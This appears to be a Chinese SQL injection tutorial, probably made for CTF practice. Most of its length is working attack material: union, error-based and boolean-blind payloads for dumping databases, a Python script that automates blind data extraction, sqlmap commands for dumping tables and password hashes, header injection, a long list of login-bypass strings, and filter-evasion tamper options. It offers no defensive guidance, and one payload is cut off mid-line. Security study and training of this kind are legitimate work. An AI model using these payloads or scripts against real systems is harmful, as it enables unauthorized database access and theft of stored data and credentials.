SQL注入
数据库结构(前置知识)
由于关系型数据库系统具有明显的 库/表/列/内容 的结构层次,所以通过SQL注入漏洞获取库中信息的时候,也是依据这样的顺序
1、获取数据库名
2、获取表名
3、获取列名
4、获取数据
了解完了数据库的层次,大家可能还是有点蒙,下面直接进入正式的sql注入
SQL注入流程
第一步:寻找注入点
利用页面与数据库交互的地方,由于语句过滤的不严格,使得恶意语句带入到数据库中进行查询。
在页面中又诸如id=1 id=2等的位置就可以能有注入点。
分析:
先输入 ‘ ,如果页面回显出现异常,就说明输入的 ‘ 是有效果的,
‘的作用:判断注入类型是数字型还是字符型。例如:
数字型:查询语句=id ?id=1
字符型:查询语句=‘id’ ?id=’1’
当我们语句注入时,对于字符型用’进行测试,例如带入单引号进去【id=’1’’】,会把前面的语句进行闭合,组后会多一个’而导致页面报错;在数字型的时候输入一个单引号,在正常情况下也会报错,但报错的语句是不一样的,因为会告诉你id没有1’,
在题目中,在加上了’后?id=1’页面没有特别的报错,也没有提示我们这 ‘ 有问题,一般猜测来说就是查询不到1’的内容,所以判断是数字型。
到了上面那个位置还没判断出来是不是注入点,一般通过带入语句,例如and 1=1
http://172.16.1.116/index.php?id=1 and 1=1
如果页面正常,就说明接受了我们这个语句;
再带入and 1=2
http://172.16.1.116/index.php?id=1 and 1=2
显示异常。在判断id=1的时候,用and将1=2和id=1并在一起执行的,
∵1=2为假
∴导致了id=1 and 1=2为假,导致了页面回显异常。
综上所述,当?id=1 and 1=1时,页面回显正常;?id=1 and 1=2时,页面回显异常;从这里可以知道,这个页面可以接受我们传输的语句,说明这个位置就是一个注入点。我们就可以从这个位置传输我们的sql注入的恶意查询语句。
第二步:开始注入!
在开始注入之前,你还要知道什么是联合查询
什么是联合查询
原本,id=1时,会列出一个表格(查询的结果实际上是一个表格),当我们执行联合查询语句union select 1时,会生成第二个表,那么此时就生成了两个虚拟表,而两个虚拟表的列数需要一致。
接下来,你就可以开始注入了。
sql注入就这?这么简单? 别急,这仅仅是一个开始
整型注入
order by
由于两个虚拟表列数要一致,当不知道表的列数的时候,我们需要用order by这个语句来判断列数。
order by是以列数进行排序的,但当列数不存在时就会报错或者无回显。
例如,当我们输入
http://172.16.1.116/index.php?id=1 order by 10
此时的页面出现了错误,就说明这个页面没有10列;当我们继续输入order by 4时有正常显示、order by 5时无回显,说明存在4列。
有了列数接下来就可以进行联合查询了。
进行构造联合查询语句
?id=1 union select 1,2,3,4相当于我们构造一个表格让它插入页面中。
做联合查询需要前表出错、后表执行。id=1相当于前表1,2,3,4相当于后表,前表出错、后表执行就是要让id=1的表报错即可,一下提供两种方法可以使id=1报错
id=1 and 1=2 union select 1,2,3,4
id=-1 union select 1,2,3,4
总结来看就是要让前表判断为假或者是不存在的表。
后表1,2,3,4执行后,相对应的数字就会显示在页面相对应的位置上。
例如,要查数据库的版本:
http://172.16.1.116/index.php?id=-1 union select 1,2,3,version()
只要在适当的数字上替换成相关的查询语句,查询的结果就会显示到页面上。(1,2,3,4的位置皆可放入语句,前提条件是方便预览、有回显)
注入全过程语句展示
# 寻找注入点
http://172.16.1.116/index.php?id=1
# 判断虚拟表列数
http://172.16.1.116/index.php?id=1 order by 1
http://172.16.1.116/index.php?id=1 order by 4
http://172.16.1.116/index.php?id=1 order by 5
# 确定列数为4
# 查看回显位置
http://172.16.1.116/index.php?id=-1 union select 1,2,3,4 #
# 查询数据库
http://129.168.1.1/?id=-1 union select 1,2,schema_name,4 from information_schema.schemata limit 0,1
http://129.168.1.1/?id=-1 union select 1,2,schema_name,4 from information_schema.schemata limit 1,2
……
# 查询指定数据库中的表
http://129.168.1.1/?id=-1 union select 1,2,table_name,4 from information_schema.tables where table_schema='数据库名' limit 0,1
# 查询指定表中字段名
http://129.168.1.1/?id=-1 union select 1,2,column_name,4 from informtion_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1
# 倒出数据(查看数据库数据)
http://129.168.1.1/?id=-1 union select 1,2,字段名,4 from 数据库名.表名
注意:
1、为什么后面会用“limit”?limit表示范围,因为只会显示1行。
2、如果要显示所有,可以用group_concat()函数【后面会写到】
3、id=-1是因为只有前表出错后表才能执行
group_concat函数
# 查询所有数据库
http://129.168.1.1/?id=-1 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
# 查询指定数据库中的所有表
http://129.168.1.1/?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='数据库名'
# 查询指定表中所有字段名
http://129.168.1.1/?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='数据库名' and table_name='表名'
#查看数据库数据
http://129.168.1.1/?id=-1 union select 1,2,字段名,4 from 数据库名.表名
字符型注入需要在联合查询加英文状态下的单引号
http://192.168.0.1/?id=-1 ' union select 1,2 --+
以此类推,注意:需要让语句闭合,正常执行,在url结尾输入%23 或者–+,正常闭合,%23为#,注释后面的语句,一定要注意“ ’ ”英文输入下,否则容易爆错
如果是在输入框就可以输入
-1 ' union select 1,group_concat(schema_name) from information_schema.schemata # '
报错注入
死记硬背:
1 union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x
拆解分析↓
1 count():count()函数返回匹配指定条件的行数。count(*)函数返回表中的记录数
2 floor():floor:函数是用来向下取整呢个的,相当于去掉小数部分
3 rand():rand()是随机取(0,1)中的一个数,但是给它一个参数后0,即rand(0),并且传如floor()后,即:floor(rand(0)*2)它就不再是随机了,序列0110110
4 concat():用于连接两个字符串
5 group by x:x就是相当于 as x,设一个别名
6 0x26:16进制数值,ASCII为“&”,在回显中起到分隔作用
例如:
获取当前数据库名
1 union select count(*),concat((select database()),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
获取所有数据库中的表名
1 union select count(*),concat((select table_name from information_schema .tables where table.schema='DDD'),0x26,flo
cookie注入
布尔盲注
(一)基本原理
在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入
通俗点说,就是你在一间没有光线的屋子里打人,一巴掌打出去有没有打到的问题。
(二)自动注入
直接使用sqlmap工具
(三)手动注入/注入思路
1、获取数据库名
if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))
2、获取数据库中表名
if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))
3、获取表中字段
if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))
4、获取内容
if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))
PYTHON脚本
import requests
import time
urlOPEN = str(input("请输入网址【例:http://URL……/?id=】:"))
starOperatorTime = []
mark = 'query_success'
def database_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i
print(name)
break
print('database_name:',name)
database_name()
def table_name():
list = []
for k in range(0,4):
name=''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i
break
list.append(name)
print('table_name:',list)
#start = time.time()
table_name()
#stop = time.time()
#starOperatorTime.append(stop-start)
#print("所用的平均时间: " + str(sum(starOperatorTime)/100))
def column_name():
list = []
for k in range(0,3): #判断表里最多有4个字段
name=''
for j in range(1,9): #判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
r=requests.get(url)
if mark in r.text:
name=name+i
break
list.append(name)
print ('column_name:',list)
column_name()
def get_data():
name=''
for j in range(1,50): #判断一个值最多有51个字符组成
for i in range(48,126):
url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
r=requests.get(url)
if mark in r.text:
name=name+chr(i)
print(name)
break
print ('value:',name)
get_data()
sqlmap
sqlmap常用命令
-u → “URL”检测注入点 –dbs → 列出所有数据库的名字 –current-db → 列出当前数据库的名字 -D → 指定一个数据库 –tables → 列出表名 -T → 指定表名 –columns → 列出所有字段名 -C → 指定字段 –dump → 列出字段内容 –current-user → 当前用户 –current-db → 当前数据库 –is-dba → 是否是管理员 –hostname → 主机名 –users → 枚举用户 –passwords → 枚举用户密码哈希 –privilieges → 枚举用户权限
sqlmap注入操作
按照注入流程↓
_1判断注入点
sqlmap -u "``http://172.16.1.116/?id=1``" --batch
_2获取数据库名
sqlmap -u "``http://172.16.1.116/?id=1``" --batch --dbs
_3获取指定数据库下所有表名
sqlmap -u "``http://172.16.1.116/?id=1``" --batch -D 数据库名 --tables
_4获取表中字段名
sqlmap -u "``http://172.16.1.116/?id=1``" --batch -D 数据库名 -T 表名 --column
_5获取数据
sqlmap -u "``http://172.16.1.116/?id=1``" --batch -D 数据库名 -T 表名 -C 字段1,字段2…… --dmup
UA注入
1、关于UA
UA的全称是User-Agent
这个是在文件头中,需要使用Burp Suite Community Edition抓取
2、手工注入
在User-Agent: 后面直接写语句就可以了,例如↓
User-Agent:-1 union select group_concat(schema_name) from information_schema.schemata
Refer注入
与UA注入基本一样,需要在Burp Suite Community Edition抓取报头,加上referer,例如↓
Referer:-1 union select group_concat(schema_name) from information_schema.schemata
堆叠注入
在SQL中,用分号(;)表示一条sql语句的结束,堆叠注入呢就是在上一条语句结束后继续构造下一条语句。堆叠注入与联合查询最主要的区别就是 联合查询union或union all执行的语句类型是有限的,而堆叠注入可以执行任意的语句。然而 堆叠注入也是有局限性的 堆叠注入并不是每一个环境都可以执行的,可能受到API或者数据库引擎不支持的限制。下面就上实例吧
原文链接:https://blog.csdn.net/weixin_59571952/article/details/121621378
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
https://www.shuzhiduo.com/A/gVdne9E75W/
万能密码
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1
asp aspx万能密码
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便
PHP万能密码
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1
jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*
过滤字符
1、过滤空格
笼统的说就是不读取空格或空格后的语句被注释
2、特殊符号替代
//
#
/**/
以上符号都可以代替空格使用
3、sqlmap自动注入法
可以使用sqlmap自带的模块,以下列出几个常用模块↓
1、space2comment
作用:Replaces space character ‘ ‘ with comments /**/
用注释/**/替换空格字符’ ‘
2、equaltolike
作用:用like代替等号
3、apostrophemask
作用:用UTF-8代替引号
4、greatest
作用:绕过过滤’>’ ,用GREATEST替换大于号
未完待续……..